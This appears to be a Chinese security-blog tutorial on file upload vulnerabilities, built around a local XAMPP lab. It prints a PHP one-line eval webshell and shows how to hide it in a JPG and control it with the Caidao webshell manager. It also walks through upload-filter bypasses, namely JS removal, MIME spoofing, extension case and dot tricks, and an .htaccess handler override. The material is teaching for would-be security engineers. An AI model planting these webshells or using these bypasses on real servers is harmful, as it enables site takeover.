[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

  • A+
所属分类:安全文章

前文分享(下面的超链接可以点击喔):

[网络安全] 一.Web渗透入门基础与安全术语普及

[网络安全] 二.Web渗透信息收集之域名、端口、服务、指纹、旁站、CDN和敏感信息

[网络安全] 三.社会工程学那些事及IP物理定位

[网络安全] 四.手工SQL注入和SQLMAP入门基础及案例详解

[网络安全] 五.XSS跨站脚本攻击详解及分类-1

[网络安全] 六.XSS跨站脚本攻击靶场案例九题及防御方法-2

[网络安全] 七.Burp Suite工具安装配置、Proxy基础用法及暴库入门示例

[网络安全] 八.Web漏洞及端口扫描之ZeNmap、ThreatScan和DirBuster工具

[网络安全] 九.Wireshark安装入门及抓取网站用户名密码-1

[网络安全] 十.Wireshark抓包原理、ARP劫持、MAC泛洪及数据流追踪-2


[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识


前文分享了Shodan搜索引擎的基本用法及Python命令行。这篇文章将详细讲解文件上传漏洞,通过本地环境搭建介绍相关原理及Caidao的基本用法。本文参考了Fox老师的视频,推荐大家去学习。非常基础的文章,希望对入门的博友们有帮助,大神请飘过,谢谢各位看官!

娜璋AI安全之家将专注于Python和安全技术,主要分享Web渗透、系统安全、人工智能、大数据分析、图像识别、恶意代码检测、CVE复现、威胁情报分析等文章。真心想把自己近十年的所学所做所感分享出来,与大家一起进步。

声明:本人坚决反对利用教学方法进行恶意攻击的行为,一切错误的行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解技术背后的原理,更好地进行安全防护。虽然作者是一名安全小白,但会保证每一篇文章都会很用心地撰写,希望这些文章对你有所帮助,安全路上一起前行。

- https://github.com/eastmountyxz/NetworkSecuritySelf-study

文章目录:

  • 一.文件上传漏洞概述及本地环境搭建
    1.原理知识
    2.环境搭建

  • 二.木马原理及Caidao
    1.一句话木马原理
    2.图片一句话木马制作
    3.Caidao案例
    4.Caidao原理

  • 三.JS+MIME和文件扩展名限制
    1.JS绕过文件上传
    2.MIME绕过文件上传
    3.扩展名限制上传


一.文件上传漏洞概述

1.原理知识

Web应用程序通常会有文件上传的功能,例如,在BBS发布图片、在个人网站发布压缩包、在招聘网站发布DOC格式简历等。只要Web应用程序允许上传文件,就有可能存在文件上传漏洞。

文件上传漏洞与SQL注入相比,其风险更大,如果Web应用程序存在文件上传漏洞,攻击者甚至可以直接上传一个WebShell到服务器上。那么,如何确认Web应用程序是否存在上传漏洞呢?比如,我的网站是一个BBS论坛,由PHP编写,用户可以上传自己的个性化头像,也就是图片文件,但文件上传时并没有对图片格式做验证,导致用户可以上传任意文件,那么这就是一个漏洞。如下图所示,通过文件上传漏洞获取了整个网站的目录。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

在这篇文章中,作者仅简单介绍文件上传漏洞的基础知识,后面还会陆续分享几篇博文,详细讲解各种文件上传漏洞的案例及防御措施。基础文章,希望对想成为白帽子或安全工程师的博友有所帮助。下图展示了网络安全涉及的各种技术:

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识


2.环境搭建

首先,作者简单搭建本地PHP的服务器环境,读者也可以尝试远程服务器进行测试。

第一步,安装XAMPP软件,Apache、MySQL和PHP实现服务器搭建。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

第二步,点击Apache运行,如下图所示,然后点击文件夹“Explorer”图标。该文件夹将存放我们的PHP文件,它是一个本地的服务器,当然您也可以将您的PHP文件上传到远程服务器上。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

第三步,放入我们的两个PHP文件。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

index.php是一个上传页面,包含一个文件选择和上传按钮,并调用upload_server.php文件执行上传操作。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

upload_server.php是具体的上传操作,代码如下所示,调用move_uploaded_file函数实现上传。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

第四步,访问该目录就能成功实现文件上传功能,如下图所示。

  • 访问地址:http://localhost/eastmount/index.php

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

点击“选择文件”按钮,选择本地文件并提交。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

上传成功之后,可以看到本地的uploads文件夹下有一张图片,并且能够成功访问。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

访问地址:

  • http://localhost/eastmount/uploads/mm.jpg

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

写到这里,一个简单的PHP文件上传功能就实现了,接下来开始讲解文件上传漏洞。


二.木马原理及Caidao

1.一句话木马原理

“一句话木马”服务端:

本地存储的脚本木马文件,是我们要用来将恶意代码上传到服务器网站中执行权限。该语句触发后,接收入侵者通过客户端提交的数据,执行并完成相应的操作。服务端的代码内容为:

<?php eval($_POST[str]); ?> //str自定义内容

“一句话木马”客户端: 

远程服务器上被插入一句话的asp可执行文件。用来向服务端提交控制数据,提交的数据通过服务端构成完整的功能语句并执行,生成我们需要的木马文件。

一句话木马短小精悍,功能强大且隐蔽性非常好,常见的种类包括asp、php、aspx。如下:

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

下图是一个test.php的文件,它包含了我们的一句话木马。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识


2.图片一句话木马制作

由于有些网站上传文件时,会检查你上传文件的头目录,如果你的一句话木马是放在PHP文件中,它很容易被识别出来。这个时候图片一句话木马的作用就体现出来了,后面会更详细的介绍。下面是一张mm.jpg图片文件,我们想办法要在该文件中加一句话木马。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

方法一:首先尝试用notepad++打开该图片并添加一句话木马,如下图所示。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

虽然添加了这样一句话,木马创建成功了,但此时的图片显示稍微有些模糊。这么模糊的图片不是留下痕迹吗?那怎么处理呢?

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

方法二:通过CMD命令实现。

为了避免模糊,需要通过其他方法执行。第二种方式是使用如下的命令,其中b表示二进制,a表示ascii编码。

copy mm.jpg/b+test.php/a mm1.jpg

在CMD中直接运行,如下图所示。它是在mm.jpg图片中,插入test.php中的一句话木马 <?php eval($_POST[str]); ?> ,并存储为mm1.jpg图片。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

如下图所示,这是同一个目录下对应的三个文件。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

用Notepad++打开“mm1.jpg”可以看到,里面包含了一句话木马,并且不影响我们的图片质量。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

第三种方法,直接通过Uedit软件打开,然后将代码复制至末尾即可。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

注意,部分网站是有文件格式解析的,即网站会判断上传的脚本是否可以被执行,某些文件格式是无法被解析的,比如,上传jpg格式的无法被php格式解析。


3.Caidao案例

Caidao软件据说是一个退役兵写的,真的很厉害。它是一款Webshell管理工具,支持各种语言,常见的包括ASP、ASPX、PHP、JSP、CFM等,现在蚁剑和冰蝎Behinder也非常不错,打开Caidao如下图所示。

  • 现在更推荐冰蝎、蚁剑、CS这三个工具


[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

接着尝试举一个例子,我们插入带有一句话木马的“mm1.jpg”文件至服务器。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

然后再Caidao空白处右键“添加”,设置地址及口令,地址为目标URL,口令为“str”,对应一句话木马 <?php eval($_POST[str]); ?> 。如下图所示:

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

添加成功之后,选中该行数据,右键“文件管理”应该能查看目标网站的服务器文件目录,可惜作者失败了!O(∩_∩)O

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

正确的示例参考之前的文章,如下图所示:

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

PS:虽然案例失败了,但基本使用方法是一样的,后续作者会搭建远程服务器进行测试,也会继续深入学习。


4.Caidao基础用法

最后分享下中国菜刀软件的原理知识和用法,点击某条链接,右键“虚拟终端”。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

在虚拟终端中输入命令:ipconfig。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

选中该条链接,并复制数据包的内容进行分析。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

将抓取的数据包复制出来,如下图所示。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

其中,%3DURL编码表示“=”,%2BURL编码表示“+”。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

fox=base64表示对POST参数z0进行加密。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

用软件Base64解密之后,得到z1的值为cmd。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

同样的方法解析传递的z2值,结果如下图所示,包含一条路径及执行的ipconfig命令。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

该参数可以通过浏览器POST提交,如下图所示,Mantra Portable浏览器也是网络攻防的常见工具。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

中国菜刀基本流程:
往目标网站中加入一句话木马,然后你就可以在本地通过中国菜刀获取和控制整个网站目录。比如,可以把一句话木马插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。打开中国菜刀,在空白处点击鼠标右键,选择“添加”选项;编辑相关参数,包括一句话木马所在的URL及密码,在URL列表中选中目标网站,点击鼠标右键,选择“文件管理”,可以看到网站的目录结构。其本质是对流量进行请求及数据获取。


三.JS+MIME和文件扩展名限制

该部分内容参考B站Fox大神的视频,非常推荐大家去学习,详见参考文献。注意,后面我们会搭建靶场通过20个题目详细介绍文件上传漏洞。

1.JS绕过文件上传

JS验证用于客户端本地的验证,所以如果你上传一个不正确的文件格式,它的判断会很快显示出来你上传的文件类型不正确。

  • JS判断代码:onsubmit=“return checkFile()”

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

比如,上传其他文件会有相关的错误提示。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

核心代码如下所示:

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

第一种方法:删除 checkFile()函数。
第二种方法:尝试在允许上传格式的文件里添加.php格式。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

如下图所示,添加之后成功上传。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

第三种方法:JS验证本地上传。
拷贝源代码到本地分析,尝试删除JavaScript代码,并指定在action=“”中指定上传地址。如下图所示,本地新建一个HTML文件并删除JavaScript判断代码,接着指定上传路径运行。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

第四种方法:上传允许上传的文件,再用BurpSuite进行抓包改包。
比如,首先上传一个规则的文件“php.jpg”,再用BurpSuite抓包修改为“php.php”,

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识


2.MIME绕过文件上传

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型,是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

核心作用:服务器判断你上传的是什么文件。其基本类型比如:

  • {".3gp", “video/3gpp” }

  • {".asp", “application/x-asap” }

  • {".avi", “video/x-msvideo” }

  • {".bmp", “image/bmp” }

  • {".cpp", “text/plain” }

  • {".jpe", “image/jpeg” }

  • {".mp4", “video/mp4” }

下面是使用BurpSuite抓取所上传的JPG文件和PHP文件的类型对比。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

某些情况会限制上传文件的类型,此时也需要修改“Content-Type”类型。比如将上传的PHP文件Content-Type修改为“image/jpeg”。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识


3.扩展名限制上传

文件扩展名限制是通过客户端黑名单来限制上传文件的类型。

(1) 大小写绕过文件上传
首先,我们先来了解关于大小写绕过文件上传。顾名思义,大小写是把文件扩展名进行php测试绕过。如下图所示,“1.php”文件上传会被拦截,而修改成“1.phP”后成功上传。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

需要注意,Windows和Linux下的两个文件名是不一样的,Windows下文件是不区分大小写的,Linux下文件是区分大小写的。

(2) 点、空格绕过文件上传
点和空格是在文件后缀上加上点和空格进行绕过。在文件后缀上添加空格重新命名,会自动删除所谓的空格,点同理会自动删除的,因为可能尝试欺骗服务器验证。系统默认是不支持加空格、加点的,比如“.php空格”会自动解析为“.php”,“.php.”会自动解析为“.php”。

这里需要使用BurpSuite抓包进行操作,如下图所示,将上传的“.php”文件后增加一个空格,再点击Forward进行上传。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

同样,增加点或者点和空格交叉的文件也能成功上传。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识
并且能够成功访问,如下图所示。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

(3) htaccess文件绕过上传
.htaccess文件或者“分布式配置文件”提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。

简单来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。它的功能有:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或目录的访问、禁止目录列表、配置默认文档等。

这里我们需要用到的是改变文件扩展名,代码如下:

<FilesMatch "fox">
SetHandler application/x-httpd-php
</FilesMatch>

这里是把fox名字的文件全都以php来运行,需要特殊文件进行创建,如Notepad++。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

首先上传一个“.htaccess”文件,再上传一个“fox.jpg”文件,它会将这张图片以php来解析。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

显示如下图所示,因为是以php格式解析的,而不显示成一张jpg图片。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

接着打开中国菜刀,获取了该服务器的目录。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

现实的两个文件如下图所示:包括 “fox.jpg” 和 “.htaccess”。

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识


四.总结

写到这里,这篇基础性文章就此结束,后面会继续分享文件上传漏洞,包括php345文件绕过上传、Windows ::$DATA绕过、apache解析漏洞上传等。最后希望基础性文章对您有所帮助,作者也是这个领域的菜鸟一枚,希望与您共同进步,也希望大神们不喜勿喷。如果文章对您有帮助,将是我最大的鼓励,点赞、评论、阅读都行,与您同行,一起加油。感谢Fox老师,感恩这些年遇到的安全朋友。

最后,真诚地感谢您关注“娜璋之家”公众号,也希望我的文章能陪伴你成长,希望在技术路上不断前行。文章如果对你有帮助、有感悟,就是对我最好的回报,且看且珍惜!再次感谢您的关注,也请帮忙宣传下“娜璋之家”,哈哈~初来乍到,还请多多指教。



[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识


一如既往的学习,一如既往的整理,一如即往的分享。感谢支持[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

“如侵权请私聊公众号删文”



扫描关注LemonSec

[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

觉得不错点个“赞”、“在看”哦[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识


本文始发于微信公众号(LemonSec):[网络安全] 十二.文件上传漏洞 (1)基础原理及Caidao入门知识

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: